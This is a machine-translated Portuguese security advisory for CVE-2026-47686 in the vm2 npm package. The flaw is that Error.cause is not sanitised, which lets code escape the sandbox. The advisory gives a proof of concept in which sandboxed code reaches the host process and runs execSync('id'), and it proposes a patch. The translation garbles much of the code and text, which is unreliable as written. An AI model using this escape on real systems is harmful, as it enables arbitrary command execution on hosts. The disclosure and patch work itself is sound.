**Afetado:** vm 2 <= 3.11.3 **CVSS 3.1:** 9.9 HAUTO (CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE- 693 (Falha no mecanismo de proteção) **Prerequisito:** O embedder expõe uma função host que lança um erro com `.cause` referindo um objeto host poderoso (por exemplo, `process`) Encontrei que `handleException()` em `lib/setup-sandbox.js` recursivamente desinfecta os sub-erros para `Error Suprimido' e `Error Agregado', mas ignora completamente o ES 2022 Propriedade `Error.cause`. Quando o código de sandbox capta um erro de host- lançado carregando um `.cause` que refere um objeto host como `process', ele pode atravessar essa referência para alcançar execução arbitrária de comandos no host. O próprio projeto `docs/ATTACKS.md` (Defese Invariant # 3, linha 54 ) explicitamente reclama Erro. porque está desinfectado. A implementação não corresponde a esta alegação. A função `handleException` (linhas) 869 - 959 de `lib/setup-sandbox.js`) caminha a cadeia protótipo de erros capturados procurando por `Error Suprimido` e `Error Agregado`. Quando os encontra, ele retifica recursivamente os erros contidos (`. erro`, `. supresso`, `. erros[]`). Para todos os outros tipos de erro, ele retorna `e` diretamente na linha 958 sem inspecionar `.cause`. ``` javascript function handleException(e, visitado) { e = assegureThis(e); se (e === null ї (tipo de e! == 'objete' & & typede e! == 'função')) devolver e; //... detecção de ciclo... enquanto (proto! == null) { se (proto === localSuprimidoErrorProto) { e. erro = handleException(e. erro, visitado); // sanitized e. suprimido = handleException(e. suprimido, visitado); // sanitized return e; } se (proto === localAggregateErrorProto) { // sanitizes e. error[]... retorna e; } proto = localReflexGetPrototypeOf(proto); } e; //. causando que NUNCA é verificado } ```````````.

Erro.cause foi introduzido no ES 2022 (Node 16.9 +). Quando `handleException` foi estendido para cobrir `SuprimidoError` (para ES 2024 ` using` declarations) e ` AggregateError`, a propriedade `.cause` foi simplesmente negligenciada. - `lib/ setup- sandbox.js: 869 - 959 `, a função `handleException` (que falta `.cause` manipulando) - `lib/ setup- sandbox.js: 886 `, ` garantir` envolve o erro, mas não recorre em `.cause` - `docs/ ATTACKS. md: 54 `, Invariante de Defesa # 3 falsamente afirma que `.cause` está coberto Código de inserção que expõe uma função jogando com `.cause` configurado para `process`: ```javascript const { VM } = require(' vm 2 '). vm const = novo VM( { sandbox: { hostFn: () => { lançar novo erro( 'falha', { causa: processo }); } } } } }); resultado const = vm.run(` try { hostFn(); } catch (e) { //.cause não está desinfectado, então temos uma referência direta ao processo host const proc = e.cause; proc.mainModule.require('child_process').execSync('id'). toString(); } `);.

console.log( result); ```. ``` uid= 502 (vladimir.tokarev) gid= 20 (staff) grupos= 20 (personal), 12 (todos), 61 (contas locais),... ``` Qualquer aplicativo usando vm 2 onde uma função exposta a embedder lança um erro com `.cause` referindo um objeto hospedeiro é vulnerável. O atacante ganha: - Acesso completo ao processo host (leia/escreva arquivos, processos de fray, acesso à rede) - Escape de Sandbox com escopo alterado (CVSS S:C) - Não é necessária interação do usuário O pré- prerequisito (atirando embedder com `.cause`) é cada vez mais comum. O encadeamento de erro através do `novo erro('msg', { causa: originalError }' é prática padrão no código Node.js moderno. Envoltórios de bibliotecas, adaptadores de banco de dados e clientes HTTP rotineiramente erros de cadeia desta forma. Adicionar a ".cause" desinfectação antes da caminhada da cadeia protótipo, então ela se aplica a todos os tipos de erro:.

``` javascript function handleException(e, visited) { e = assegureThis(e); se (e === null ї (') (tipo de e! == 'objeto' & & & type de e! == 'função')) devolver e; se (!visitado) visitado = novo LocalWeakMap(); se (aplicar(localWeakMapGet, visitado, [e])) devolver e; aplicar(localWeakMapSet, visitado, [e, true]); // Sanificar. porque em TODOS os erros (ES 2022 ) tentar { se (cause' in e) { e.cause = handleException (e.cause, visitada); } } capturar (ex) { /* melhor esforço */ } let proto = localReflectGetPrototypeOf(e); enquanto (proto!== null) { if (proto === localSuprimidoErrorProto) { e. erro = handleException( e. erro, visitado); e. suprimido = handleException( e. suprimido, visitado); devolva e; } se (proto === localAggregateErrorProto) { if (localArrayIsArray( e. erros)) { for (let i = 0; i < e. errors. length; i++) { e. errors[i] = handleException( e. errors[i], visitada); } } retorna e; } proto = localReflectGetPrototypeOf( proto); } retorna e; } ```` `docs/ATTACKS.md` Invariante de Defesa # 3 Deverá também ser atualizado para refletir a realidade até que estes navios consertem. . Arquivo. Role.------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 27952274 /poc_error_cause_escape.js). Registro de aconselhamento: GHSA- m 283 - 3 h 24 - 438 v. Identificadores relacionados: CVE- 2026 - 47686.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 17 T 17: 32: 34.000 Z e lista a sua última modificação como 2026 - 08 - 17 T 17: 32: 34.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. Software afetado e informações de versão: pacote npm vm 2 — ECOSISTEM: introduzido 0, corrigido 3.11.6. Classificação e evidência: identificadores de fraqueza CWE- 693. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.